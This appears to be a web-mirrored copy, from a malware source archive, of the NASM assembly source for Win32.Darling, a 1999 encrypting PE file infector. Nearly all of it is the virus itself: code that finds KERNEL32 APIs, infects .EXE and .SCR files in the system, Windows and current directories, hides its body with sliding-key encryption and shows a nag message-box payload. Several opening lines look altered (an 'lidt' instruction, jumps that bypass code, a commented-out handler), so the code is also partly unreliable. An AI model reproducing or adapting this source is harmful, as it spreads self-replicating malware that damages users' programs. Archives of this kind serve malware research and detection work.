mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
945 lines
28 KiB
NASM
945 lines
28 KiB
NASM
;============================================================================
|
|
;
|
|
;
|
|
; NAME: Win32.Darling v1.00
|
|
; TYPE: Direct-action variable-encrypting PE-infector.
|
|
; SIZE: Around 1700 bytes.
|
|
; AUTHOR: T-2000 / [Immortal Riot].
|
|
; E-MAIL: T2000_@hotmail.com
|
|
; DATE: May 1999.
|
|
; PAYLOAD: Randomly pops-up a message-box.
|
|
;
|
|
;
|
|
; FEATURES:
|
|
;
|
|
; - True Win32-compatible (Win-95/98/NT).
|
|
; - Variable encrypting (32-bit key).
|
|
; - Traps possible errors with a SEH.
|
|
; - Infects files in current/windoze/system-directory.
|
|
; - Non-destructive payload (ARGHHH!!!!!).
|
|
;
|
|
;
|
|
; Nothing brand new at all, this is just a quick Win32.Savior hack, with
|
|
; some improvements. Now it fetches API from KERNEL32.DLL's export-table,
|
|
; so it doesn't have to rely on the host's imports anymore...
|
|
;
|
|
; Succesfully tested on Win95 (OSR/2), Win98, and WinNT (4.0).
|
|
;
|
|
;
|
|
; KNOWN PROBLEMS:
|
|
;
|
|
; For some reason my infected dummy-files start executing wrongly decrypted
|
|
; code, this only happens when a small file is executed two times in a row,
|
|
; under NT. It doesn't look like a bug of mine, I suspect the caching is
|
|
; fucking things up.
|
|
;
|
|
;
|
|
; Assemble with: TASM32 SAVIOR.ASM /m /ml
|
|
; TLINK32 SAVIOR.OBJ IMPORT32.LIB
|
|
; PEWRSEC SAVIOR.EXE
|
|
;
|
|
;============================================================================
|
|
|
|
|
|
.386p
|
|
.MODEL FLAT
|
|
.CODE
|
|
|
|
ORG 0
|
|
|
|
|
|
EXTRN ExitProcess:PROC ; Only used by the carrier.
|
|
|
|
|
|
Debug_Mode = 1 ; If true, only DUM?.* files are
|
|
; targetted for infection.
|
|
|
|
Virus_Size EQU (Virus_End-START)
|
|
Virus_Size_Mem EQU (Virus_End_Mem-START)
|
|
Max_Infect EQU 4
|
|
Min_Size_Infect EQU 4096
|
|
|
|
|
|
START:
|
|
push eax
|
|
lidt [esp-2]
|
|
pop eax
|
|
jmp Carrier
|
|
PUSH ESP ; Reserve room for EIP.
|
|
|
|
PUSHFD ; Save registers & flags.
|
|
PUSHAD
|
|
|
|
CALL Get_Delta ; Get our location in memory.
|
|
|
|
Anti_Moron DB 0E9h ; Overlapping code, anti BP.
|
|
|
|
Get_Delta: POP EBP
|
|
SUB EBP, (Anti_Moron-START)
|
|
|
|
MOV EAX, 0
|
|
Init_Key = DWORD PTR $-4
|
|
|
|
MOV EBX, 0
|
|
Init_Slide = DWORD PTR $-4
|
|
|
|
MOV ECX, (Virus_End-Encrypted) / 4
|
|
|
|
PUSH EBP
|
|
|
|
Decrypt_DWORD: XOR [EBP+(Virus_Size-4)], EAX
|
|
|
|
SUB EBP, 4
|
|
|
|
ADD EAX, EBX ; Slide decryption-key.
|
|
|
|
RCL EBX, 3 ; Slide key-slider.
|
|
|
|
LOOP Decrypt_DWORD
|
|
|
|
POP EBP
|
|
|
|
IF (($-START) MOD 4) GT 0
|
|
DB (4 - (($-START) MOD 4)) DUP(90h)
|
|
ENDIF
|
|
|
|
Encrypted: MOV EAX, EBP
|
|
|
|
SUB EAX, 1000h ; Calculate image-base.
|
|
Base_Displ = DWORD PTR $-4
|
|
|
|
LEA EBX, [EAX+((Carrier-START)+1000h)]
|
|
Old_EIP_RVA = DWORD PTR $-4
|
|
|
|
MOV [ESP+(9*4)], EBX ; Set address host in stack.
|
|
|
|
CALL Setup_SEH ; PUSH SEH-address on stack.
|
|
|
|
MOV ESP, [ESP+(2*4)] ; Restore original stack.
|
|
|
|
JMP Restore_SEH ; Terminate program-flow.
|
|
|
|
Setup_SEH: PUSH DWORD PTR FS:[ECX] ; Save original SEH-pointer.
|
|
; MOV FS:[ECX], ESP ; Set our own SEH.
|
|
|
|
CLD
|
|
|
|
MOV EAX, [ESP+(12*4)]
|
|
|
|
XOR AX, AX
|
|
|
|
Find_K32_Base: CMP EAX, 400000h ; Below application-memory?
|
|
JB JMP_Rest_SEH ; ARGHH! Not found!
|
|
|
|
CMP [EAX.EXE_Mark], 'ZM'
|
|
JNE Scan_Downwards
|
|
|
|
CMP [EAX.Reloc_Table], 40h
|
|
JB Scan_Downwards
|
|
|
|
MOV EBX, [EAX+3Ch]
|
|
ADD EBX, EAX
|
|
|
|
CMP [EBX.PE_Mark], 'EP'
|
|
JNE Scan_Downwards
|
|
|
|
MOV EBX, [EBX+120] ; K32's export-table.
|
|
ADD EBX, EAX
|
|
|
|
MOV ESI, [EBX+(3*4)] ; ASCIIZ-name of DLL.
|
|
ADD ESI, EAX
|
|
|
|
PUSH EAX
|
|
|
|
LODSD
|
|
CALL Upcase_EAX
|
|
|
|
XCHG ECX, EAX
|
|
|
|
LODSD
|
|
CALL Upcase_EAX
|
|
|
|
CMP EAX, '23LE' ; Check for KERNEL32.DLL.
|
|
|
|
POP EAX
|
|
|
|
JNE Scan_Downwards
|
|
|
|
CMP ECX, 'NREK' ; Found KERNEL32.DLL ?
|
|
JE Found_K32_Base
|
|
|
|
Scan_Downwards: SUB EAX, 65536
|
|
|
|
JMP Find_K32_Base
|
|
|
|
Virus_Name DB 'Win32.Darling v1.00', 0
|
|
|
|
JMP_Rest_SEH: JMP Restore_SEH ; Abort all.
|
|
|
|
Found_K32_Base: MOV EDX, [EBX+(8*4)] ; Array of name RVA's.
|
|
ADD EDX, EAX
|
|
|
|
MOV ECX, [EBX+(6*4)] ; Amount of name entries.
|
|
|
|
DEC ECX ; Last entry name.
|
|
|
|
Find_GPA: MOV EDI, [EDX+(ECX*4)] ; Offset name.
|
|
ADD EDI, EAX
|
|
|
|
PUSHAD
|
|
|
|
LEA ESI, [EBP+(GetProcAddress_Name-START)]
|
|
PUSH 15
|
|
POP ECX
|
|
REPE CMPSB
|
|
|
|
POPAD
|
|
|
|
JNE LOOP_Find_GPA
|
|
|
|
MOV ESI, [EBX+(9*4)] ; Array of API ordinals.
|
|
ADD ESI, EAX
|
|
|
|
MOVZX ESI, WORD PTR [ESI+(ECX*2)]
|
|
|
|
MOV EBX, [EBX+(7*4)] ; Array of API RVA's.
|
|
ADD EBX, EAX
|
|
|
|
LEA EBX, [EBX+(ESI*4)]
|
|
|
|
MOV ESI, [EBX]
|
|
ADD ESI, EAX
|
|
|
|
MOV [EBP+(GetProcAddress-START)], ESI
|
|
|
|
LOOP_Find_GPA: LOOP Find_GPA
|
|
|
|
XCHG EBX, EAX
|
|
|
|
LEA ESI, [EBP+(API_Names-START)]
|
|
LEA EDI, [EBP+(API_Addresses-START)]
|
|
|
|
Loop_Get_API: PUSH ESI
|
|
PUSH EBX
|
|
CALL [EBP+(GetProcAddress-START)]
|
|
|
|
CLD ; Store API-address.
|
|
STOSD
|
|
|
|
XCHG ECX, EAX ; API not found?
|
|
JECXZ JMP_Rest_SEH
|
|
|
|
Find_Next_API: LODSB
|
|
|
|
OR AL, AL ; Found end of API-name?
|
|
JNZ Find_Next_API
|
|
|
|
CMP [ESI], AL ; We've did 'em all?
|
|
JNZ Loop_Get_API
|
|
|
|
LEA ESI, [EBP+(Current_Directory-START)]
|
|
MOV EBX, 260
|
|
|
|
PUSH ESI
|
|
|
|
PUSH ESI ; Retrieve current path.
|
|
PUSH EBX
|
|
CALL [EBP+(GetCurrentDirectoryA-START)]
|
|
|
|
ADD ESI, EBX
|
|
|
|
PUSH ESI
|
|
|
|
PUSH EBX ; Retrieve Windoze-directory.
|
|
PUSH ESI
|
|
CALL [EBP+(GetWindowsDirectoryA-START)]
|
|
|
|
ADD ESI, EBX
|
|
|
|
PUSH ESI
|
|
|
|
PUSH EBX ; Retrieve System-directory.
|
|
PUSH ESI
|
|
CALL [EBP+(GetSystemDirectoryA-START)]
|
|
|
|
; Infect files in System-directory.
|
|
|
|
CALL [EBP+(SetCurrentDirectoryA-START)]
|
|
CALL Infect_Directory
|
|
|
|
; Infect files in Windoze-directory.
|
|
|
|
CALL [EBP+(SetCurrentDirectoryA-START)]
|
|
CALL Infect_Directory
|
|
|
|
; Infect files in current-directory.
|
|
|
|
CALL [EBP+(SetCurrentDirectoryA-START)]
|
|
CALL Infect_Directory
|
|
|
|
CALL [EBP+(GetTickCount-START)]
|
|
|
|
CMP AL, 10
|
|
JA Restore_SEH
|
|
jmp Restore_SEH
|
|
;gall
|
|
LEA EAX, [EBP+(USER32_Name-START)]
|
|
PUSH EAX
|
|
CALL [EBP+(GetModuleHandleA-START)]
|
|
|
|
XCHG ECX, EAX
|
|
JECXZ Restore_SEH
|
|
|
|
LEA EAX, [EBP+(MessageBoxA_Name-START)]
|
|
PUSH EAX
|
|
PUSH ECX
|
|
CALL [EBP+(GetProcAddress-START)]
|
|
|
|
OR EAX, EAX
|
|
JZ Restore_SEH
|
|
|
|
XCHG EBX, EAX
|
|
|
|
; Display an OK/Cancel-box with a message.
|
|
|
|
Show_Our_Box: PUSH 30h OR 01h
|
|
LEA EAX, [EBP+(Payload_Title-START)]
|
|
PUSH EAX
|
|
LEA EAX, [EBP+(Payload_Text-START)]
|
|
PUSH EAX
|
|
PUSH 0
|
|
CALL EBX
|
|
|
|
DEC EAX ; They're disrespecting us
|
|
DEC EAX ; by clicking on Cancel?
|
|
JZ Show_Our_Box ; Then just repeat all.
|
|
|
|
Restore_SEH: XOR EAX, EAX
|
|
|
|
POP DWORD PTR FS:[EAX] ; Restore original SEH.
|
|
POP EAX ; Trash handler-address.
|
|
|
|
Execute_Host: POPAD ; Restore registers & flags.
|
|
POPFD
|
|
|
|
RET ; RETurn to our host.
|
|
|
|
|
|
Payload_Title DB 'http://www.drrling.se', 0
|
|
|
|
Payload_Text DB 'THIS IS A DEDICATION TO THE BEST MAGAZINE '
|
|
DB 'IN SWEDEN, DARLING. - IR IN ''99', 0
|
|
|
|
|
|
Infect_Directory:
|
|
|
|
PUSHAD
|
|
|
|
; Clear infection-counter.
|
|
|
|
AND BYTE PTR [EBP+(Infect_Counter-START)], 0
|
|
|
|
LEA EAX, [EBP+(Search_Record-START)]
|
|
PUSH EAX
|
|
LEA EAX, [EBP+(Search_Mask-START)]
|
|
PUSH EAX
|
|
CALL [EBP+(FindFirstFileA-START)]
|
|
|
|
MOV ESI, EAX ; Save search-handle in ESI.
|
|
|
|
INC EAX
|
|
JZ Exit_Inf_Dir
|
|
|
|
Infect_Loop: PUSHAD
|
|
|
|
LEA EBX, [EBP+(Search_Record.Find_File_Name-START)]
|
|
|
|
MOV ESI, EBX
|
|
|
|
CLD
|
|
|
|
Find_End_Name: LODSB ; Get next byte of filename.
|
|
|
|
OR AL, AL ; Found end of the ASCIIZ ?
|
|
JNZ Find_End_Name
|
|
|
|
MOV EAX, [ESI-5] ; Get extension DWORD.
|
|
CALL Upcase_EAX
|
|
|
|
CMP EAX, 'EXE.' ; Standard .EXE-file?
|
|
JE Extension_OK
|
|
|
|
CMP EAX, 'RCS.' ; Screensaver?
|
|
JNE Exit_Infect
|
|
|
|
Extension_OK: PUSH EBX
|
|
CALL [EBP+(GetFileAttributesA-START)]
|
|
|
|
CMP EAX, -1 ; Error occurred?
|
|
JE Exit_Infect
|
|
|
|
MOV ESI, EAX
|
|
|
|
AND AL, NOT 00000001b ; Get rid of readonly-flag.
|
|
|
|
PUSH EAX
|
|
PUSH EBX
|
|
CALL [EBP+(SetFileAttributesA-START)]
|
|
|
|
DEC EAX ; Error occurred?
|
|
JNZ Exit_Infect
|
|
|
|
PUSH ESI ; PUSH filename + attributes
|
|
PUSH EBX ; for Restore_Attr.
|
|
|
|
PUSH EAX ; Open candidate-file.
|
|
PUSH EAX
|
|
PUSH 3 ; Open existing.
|
|
PUSH EAX
|
|
PUSH EAX
|
|
PUSH 80000000h OR 40000000h ; Read/write-access.
|
|
PUSH EBX
|
|
CALL [EBP+(CreateFileA-START)]
|
|
|
|
MOV [EBP+(File_Handle-START)], EAX
|
|
|
|
MOV ESI, EAX
|
|
|
|
INC EAX ; Error occurred?
|
|
JZ Restore_Attr
|
|
|
|
PUSH ESI ; For CloseHandle.
|
|
|
|
PUSH 0 ; Get candidate's filesize.
|
|
PUSH ESI
|
|
CALL [EBP+(GetFileSize-START)]
|
|
|
|
CMP EAX, Min_Size_Infect ; File too small?
|
|
JB Close_Handle
|
|
|
|
LEA EAX, [EBP+(Time_Last_Write-START)]
|
|
|
|
PUSH EAX ; Get filedates & times.
|
|
SUB EAX, 8
|
|
PUSH EAX
|
|
SUB EAX, 8
|
|
PUSH EAX
|
|
PUSH ESI
|
|
CALL [EBP+(GetFileTime-START)]
|
|
|
|
; Read the MZ-header.
|
|
|
|
Read_Header: LEA EBX, [EBP+(Header-START)]
|
|
PUSH 40h
|
|
POP ECX
|
|
CALL Read_File
|
|
JNZ Close_Handle
|
|
|
|
CMP [EBX.EXE_Mark], 'ZM' ; It must be a true EXE-file.
|
|
JNE Close_Handle
|
|
|
|
CMP [EBX.Reloc_Table], 40h ; Contains a new EXE-header?
|
|
JB Close_Handle
|
|
|
|
MOV ESI, [EBX+3Ch]
|
|
|
|
MOV EAX, ESI ; Seek to PE-header.
|
|
CALL Seek_File
|
|
JZ Close_Handle
|
|
|
|
PUSH 92 ; Read-in the PE-header.
|
|
POP ECX
|
|
CALL Read_File
|
|
JNZ Close_Handle
|
|
|
|
CMP [EBX.PE_Mark], 'EP' ; Verify it's a PE-header.
|
|
JNE Close_Handle
|
|
|
|
; Program is executable?
|
|
|
|
TEST BYTE PTR [EBX.PE_Flags], 00000010b
|
|
JZ Close_Handle
|
|
|
|
; Don't infect DLL's.
|
|
|
|
TEST BYTE PTR [EBX.PE_Flags+1], 00100000b
|
|
JNZ Close_Handle
|
|
|
|
CMP [EBX.CPU_Type], 14Ch ; Must be a 386+ file.
|
|
JNE Close_Handle
|
|
|
|
; Is it already infected?
|
|
|
|
CMP [EBX.Checksum], 93FB2AA7h
|
|
JE Close_Handle
|
|
|
|
PUSH ESI
|
|
|
|
; Calculate position of the last section-header.
|
|
|
|
MOVZX EAX, [EBX.Number_Of_Sections]
|
|
DEC AX
|
|
PUSH 40
|
|
POP ECX
|
|
MUL ECX
|
|
|
|
; Calculate size of PE-header.
|
|
|
|
MOV DX, [EBX.NT_Header_Size]
|
|
ADD DX, 24
|
|
|
|
LEA ECX, [ESI+EDX] ; Start section-headers.
|
|
|
|
ADD EAX, ECX ; EAX = last section-header.
|
|
|
|
PUSH EAX
|
|
|
|
; Seek to last section-header.
|
|
|
|
CALL Seek_File
|
|
|
|
LEA ESI, [EBP+(Last_Section_Header-START)]
|
|
|
|
PUSH EBX
|
|
|
|
MOV EBX, ESI ; Read last section-header.
|
|
PUSH 40
|
|
POP ECX
|
|
CALL Read_File
|
|
|
|
POP EBX
|
|
|
|
MOV EAX, [ESI.Section_RVA]
|
|
ADD EAX, [ESI.Section_Physical_Size]
|
|
|
|
MOV [EBP+(Base_Displ-START)], EAX
|
|
|
|
XCHG [EBX.EIP_RVA], EAX
|
|
|
|
MOV [EBP+(Old_EIP_RVA-START)], EAX
|
|
|
|
; Seek to the end of the section.
|
|
|
|
MOV EAX, [ESI.Section_Physical_Offset]
|
|
ADD EAX, [ESI.Section_Physical_Size]
|
|
CALL Seek_File
|
|
|
|
MOV EAX, [ESI.Section_Physical_Size]
|
|
ADD EAX, Virus_Size
|
|
MOV ECX, [EBX.File_Align]
|
|
CALL Align_EAX
|
|
|
|
MOV [ESI.Section_Physical_Size], EAX
|
|
|
|
XCHG EDI, EAX ; Save physical-size in EDI.
|
|
|
|
MOV EAX, [ESI.Section_Virtual_Size]
|
|
MOV ECX, [EBX.Object_Align]
|
|
CALL Align_EAX
|
|
|
|
SUB [EBX.Image_Size], EAX
|
|
|
|
ADD EAX, Virus_Size_Mem - 1
|
|
|
|
Calc_Mem_Size: INC EAX
|
|
CALL Align_EAX
|
|
|
|
CMP EAX, EDI ; Virtual-size may not be
|
|
JB Calc_Mem_Size ; smaller than physical-size.
|
|
|
|
MOV [ESI.Section_Virtual_Size], EAX
|
|
|
|
ADD [EBX.Image_Size], EAX
|
|
|
|
; Set section-flags: read, write, executable, & code.
|
|
|
|
OR [ESI.Section_Flags], 11100000000000000000000000100000b
|
|
|
|
LEA EDI, [EBP+(Buffer-START)]
|
|
|
|
PUSHAD
|
|
|
|
; Get a random slide-key.
|
|
|
|
CALL [EBP+(GetTickCount-START)]
|
|
|
|
MOV [EBP+(Init_Slide-START)], EAX
|
|
|
|
XCHG EBX, EAX
|
|
|
|
; Get a random encryption-key.
|
|
|
|
CALL [EBP+(GetTickCount-START)]
|
|
|
|
MOV [EBP+(Init_Key-START)], EAX
|
|
|
|
MOV ESI, EBP
|
|
MOV ECX, (Virus_Size / 4)
|
|
CLD
|
|
REP MOVSD
|
|
|
|
MOV ECX, (Virus_End-Encrypted) / 4
|
|
|
|
Encrypt_DWORD: SUB EDI, 4
|
|
|
|
XOR [EDI], EAX
|
|
|
|
ADD EAX, EBX
|
|
|
|
RCL EBX, 3
|
|
|
|
LOOP Encrypt_DWORD
|
|
|
|
POPAD
|
|
|
|
MOV EDX, EDI ; Write virusbody to end
|
|
MOV ECX, Virus_Size ; of the last section.
|
|
CALL Write_File
|
|
|
|
POP EAX ; Offset last object-header.
|
|
CALL Seek_File
|
|
|
|
; Write updated section-header back to file.
|
|
|
|
PUSH 40
|
|
POP ECX
|
|
LEA EDX, [EBP+(Last_Section_Header-START)]
|
|
CALL Write_File
|
|
|
|
; Seek to end of file.
|
|
|
|
PUSH 2
|
|
PUSH EAX
|
|
PUSH EAX
|
|
PUSH DWORD PTR [EBP+(File_Handle-START)]
|
|
CALL [EBP+(SetFilePointer-START)]
|
|
|
|
XOR EDX, EDX ; Zero-pad the infected file.
|
|
MOV EDI, [EBX.File_Align]
|
|
DIV EDI
|
|
|
|
OR EDX, EDX ; File is already aligned?
|
|
JZ Mark_Inf_File
|
|
|
|
SUB EDI, EDX ; Howmany bytes to pad?
|
|
|
|
Zero_Pad: PUSH 1 ; Write a padding-byte.
|
|
POP ECX
|
|
LEA EDX, [EBP+(Zero_Tolerance-START)]
|
|
CALL Write_File
|
|
|
|
DEC EDI ; We've did 'em all?
|
|
JNZ Zero_Pad
|
|
|
|
Mark_Inf_File: MOV [EBX.Checksum], 93FB2AA7h
|
|
|
|
POP EAX ; Seek to start of PE-header.
|
|
CALL Seek_File
|
|
|
|
PUSH 92 ; Write updated PE-header.
|
|
POP ECX
|
|
MOV EDX, EBX
|
|
CALL Write_File
|
|
|
|
; Increment our infection-counter.
|
|
|
|
INC BYTE PTR [EBP+(Infect_Counter-START)]
|
|
|
|
; Restore original file-dates & times.
|
|
|
|
Restore_Stamp: LEA EAX, [EBP+(Time_Last_Write-START)]
|
|
PUSH EAX
|
|
SUB EAX, 8
|
|
PUSH EAX
|
|
SUB EAX, 8
|
|
PUSH EAX
|
|
PUSH DWORD PTR [EBP+(File_Handle-START)]
|
|
CALL [EBP+(SetFileTime-START)]
|
|
|
|
Close_Handle: CALL [EBP+(CloseHandle-START)]
|
|
|
|
Restore_Attr: CALL [EBP+(SetFileAttributesA-START)]
|
|
|
|
Exit_Infect: POPAD
|
|
|
|
; We've did enough infections?
|
|
|
|
CMP BYTE PTR [EBP+(Infect_Counter-START)], Max_Infect
|
|
JNB Close_Find
|
|
|
|
; Find another file.
|
|
|
|
LEA EAX, [EBP+(Search_Record-START)]
|
|
PUSH EAX
|
|
PUSH ESI
|
|
CALL [EBP+(FindNextFileA-START)]
|
|
|
|
DEC EAX ; Continue if search went OK.
|
|
JZ Infect_Loop
|
|
|
|
Close_Find: PUSH ESI ; Close search-handle.
|
|
CALL [EBP+(FindClose-START)]
|
|
|
|
Exit_Inf_Dir: POPAD
|
|
|
|
RET
|
|
|
|
|
|
; EAX = Offset.
|
|
; Returns ZF if error.
|
|
Seek_File:
|
|
PUSH 0
|
|
PUSH 0
|
|
PUSH EAX
|
|
PUSH DWORD PTR [EBP+(File_Handle-START)]
|
|
CALL [EBP+(SetFilePointer-START)]
|
|
|
|
INC EAX
|
|
|
|
RET
|
|
|
|
|
|
; EBX = Buffer.
|
|
; ECX = Bytes to read.
|
|
; Returns ZF if successful.
|
|
Read_File:
|
|
PUSH 0
|
|
LEA EAX, [EBP+(Bytes_Read-START)]
|
|
PUSH EAX
|
|
PUSH ECX
|
|
PUSH EBX
|
|
PUSH DWORD PTR [EBP+(File_Handle-START)]
|
|
CALL [EBP+(ReadFile-START)]
|
|
|
|
DEC EAX
|
|
|
|
RET
|
|
|
|
|
|
; ECX = Amount of bytes.
|
|
; EDX = Buffer.
|
|
; Returns ZF if successful.
|
|
Write_File:
|
|
PUSH 0
|
|
LEA EAX, [EBP+(Bytes_Read-START)]
|
|
PUSH EAX
|
|
PUSH ECX
|
|
PUSH EDX
|
|
PUSH 12345678h
|
|
File_Handle = DWORD PTR $-4
|
|
CALL [EBP+(WriteFile-START)]
|
|
|
|
DEC EAX
|
|
|
|
RET
|
|
|
|
|
|
Align_EAX:
|
|
XOR EDX, EDX
|
|
DIV ECX
|
|
|
|
OR EDX, EDX ; Even division?
|
|
JZ No_Round ; Then no need to round-up.
|
|
|
|
INC EAX ; Round-up.
|
|
|
|
No_Round: MUL ECX
|
|
|
|
RET
|
|
|
|
|
|
Upcase_EAX:
|
|
ROL EAX, 8
|
|
CALL Upcase_AL
|
|
|
|
ROL EAX, 8
|
|
CALL Upcase_AL
|
|
|
|
ROL EAX, 8
|
|
CALL Upcase_AL
|
|
|
|
ROL EAX, 8
|
|
|
|
Upcase_AL: CMP AL, 'a'
|
|
JB Exit_Upcase_AL
|
|
|
|
CMP AL, 'z'
|
|
JA Exit_Upcase_AL
|
|
|
|
SUB AL, 'a' - 'A'
|
|
|
|
Exit_Upcase_AL: RET
|
|
|
|
|
|
IF Debug_Mode
|
|
|
|
Search_Mask DB 'DUM?.*', 0
|
|
|
|
ELSE
|
|
|
|
Search_Mask DB '*.*', 0
|
|
|
|
ENDIF
|
|
|
|
|
|
USER32_Name DB 'USER32', 0
|
|
MessageBoxA_Name DB 'MessageBoxA', 0
|
|
GetProcAddress_Name DB 'GetProcAddress', 0
|
|
|
|
API_Names: DB 'GetCurrentDirectoryA', 0
|
|
DB 'SetCurrentDirectoryA', 0
|
|
DB 'GetWindowsDirectoryA', 0
|
|
DB 'GetSystemDirectoryA', 0
|
|
DB 'FindFirstFileA', 0
|
|
DB 'FindNextFileA', 0
|
|
DB 'FindClose', 0
|
|
DB 'GetFileAttributesA', 0
|
|
DB 'SetFileAttributesA', 0
|
|
DB 'CreateFileA', 0
|
|
DB 'CloseHandle', 0
|
|
DB 'GetFileTime', 0
|
|
DB 'SetFileTime', 0
|
|
DB 'GetFileSize', 0
|
|
DB 'SetFilePointer', 0
|
|
DB 'ReadFile', 0
|
|
DB 'WriteFile', 0
|
|
DB 'GetModuleHandleA', 0
|
|
DB 'GetTickCount', 0
|
|
Zero_Tolerance DB 0
|
|
|
|
|
|
IF (($-START) MOD 4) GT 0
|
|
DB (4 - (($-START) MOD 4)) DUP(0)
|
|
ENDIF
|
|
|
|
Virus_End:
|
|
|
|
|
|
API_Addresses:
|
|
|
|
; === Our needed API from KERNEL32.DLL. ===
|
|
|
|
GetCurrentDirectoryA DD 0
|
|
SetCurrentDirectoryA DD 0
|
|
GetWindowsDirectoryA DD 0
|
|
GetSystemDirectoryA DD 0
|
|
FindFirstFileA DD 0
|
|
FindNextFileA DD 0
|
|
FindClose DD 0
|
|
GetFileAttributesA DD 0
|
|
SetFileAttributesA DD 0
|
|
CreateFileA DD 0
|
|
CloseHandle DD 0
|
|
GetFileTime DD 0
|
|
SetFileTime DD 0
|
|
GetFileSize DD 0
|
|
SetFilePointer DD 0
|
|
ReadFile DD 0
|
|
WriteFile DD 0
|
|
GetModuleHandleA DD 0
|
|
GetTickCount DD 0
|
|
|
|
GetProcAddress DD 0
|
|
|
|
Time_Creation DD 0, 0
|
|
Time_Last_Access DD 0, 0
|
|
Time_Last_Write DD 0, 0
|
|
|
|
Infect_Counter DB 0
|
|
Bytes_Read DD 0
|
|
Header DB 92 DUP(0)
|
|
Last_Section_Header DB 40 DUP(0)
|
|
Search_Record DB 318 DUP(0)
|
|
|
|
Current_Directory DB 260 DUP(0)
|
|
Windows_Directory DB 260 DUP(0)
|
|
System_Directory DB 260 DUP(0)
|
|
|
|
Buffer DB Virus_Size DUP(0)
|
|
|
|
Virus_End_Mem:
|
|
|
|
|
|
Carrier:
|
|
PUSH 0 ; Terminate current process.
|
|
CALL ExitProcess
|
|
|
|
|
|
;---------------------- SOME USED STRUCTURES --------------------------------
|
|
|
|
|
|
EXE_Header STRUC
|
|
EXE_Mark DW 0 ; MZ-marker (MZ or ZM).
|
|
Image_Mod_512 DW 0
|
|
Image_512_Pages DW 0
|
|
Reloc_Items DW 0
|
|
Header_Size_Mem DW 0
|
|
Min_Size_Mem DW 0
|
|
Max_Size_Mem DW 0
|
|
Program_SS DW 0
|
|
Program_SP DW 0
|
|
MZ_Checksum DW 0
|
|
Program_IP DW 0
|
|
Program_CS DW 0
|
|
Reloc_Table DW 0
|
|
EXE_Header ENDS
|
|
|
|
|
|
PE_Header STRUC
|
|
PE_Mark DD 0 ; PE-marker (PE/0/0).
|
|
CPU_Type DW 0 ; Minimal CPU required.
|
|
Number_Of_Sections DW 0 ; Number of sections in PE.
|
|
DD 0
|
|
Reserved_1 DD 0
|
|
DD 0
|
|
NT_Header_Size DW 0
|
|
PE_Flags DW 0
|
|
DD 4 DUP(0)
|
|
EIP_RVA DD 0
|
|
DD 2 DUP(0)
|
|
Image_Base DD 0
|
|
Object_Align DD 0
|
|
File_Align DD 0
|
|
DW 0, 0
|
|
DW 0, 0
|
|
DW 0, 0
|
|
DD 0
|
|
Image_Size DD 0
|
|
DD 0
|
|
Checksum DD 0
|
|
PE_Header ENDS
|
|
|
|
|
|
Section_Header STRUC
|
|
Section_Name DB 8 DUP(0) ; Zero-padded section-name.
|
|
Section_Virtual_Size DD 0 ; Memory-size of section.
|
|
Section_RVA DD 0 ; Start section in memory.
|
|
Section_Physical_Size DD 0 ; Section-size in file.
|
|
Section_Physical_Offset DD 0 ; Section file-offset.
|
|
Section_Reserved_1 DD 0 ; Not used for executables.
|
|
Section_Reserved_2 DD 0 ; Not used for executables.
|
|
Section_Reserved_3 DD 0 ; Not used for executables.
|
|
Section_Flags DD 0 ; Flags of the section.
|
|
Section_Header ENDS
|
|
|
|
|
|
Find_First_Next_Win32 STRUC
|
|
File_Attributes DD 0
|
|
Creation_Time DD 0, 0
|
|
Last_Accessed_Time DD 0, 0
|
|
Last_Written_Time DD 0, 0
|
|
Find_File_Size_High DD 0
|
|
Find_File_Size_Low DD 0
|
|
Find_Reserved_1 DD 0
|
|
Find_Reserved_2 DD 0
|
|
Find_File_Name DB 260 DUP(0)
|
|
Find_DOS_File_Name DB 14 DUP(0)
|
|
Find_First_Next_Win32 ENDS
|
|
|
|
END START
|
|
|
|
|
|
|
|
|
|
|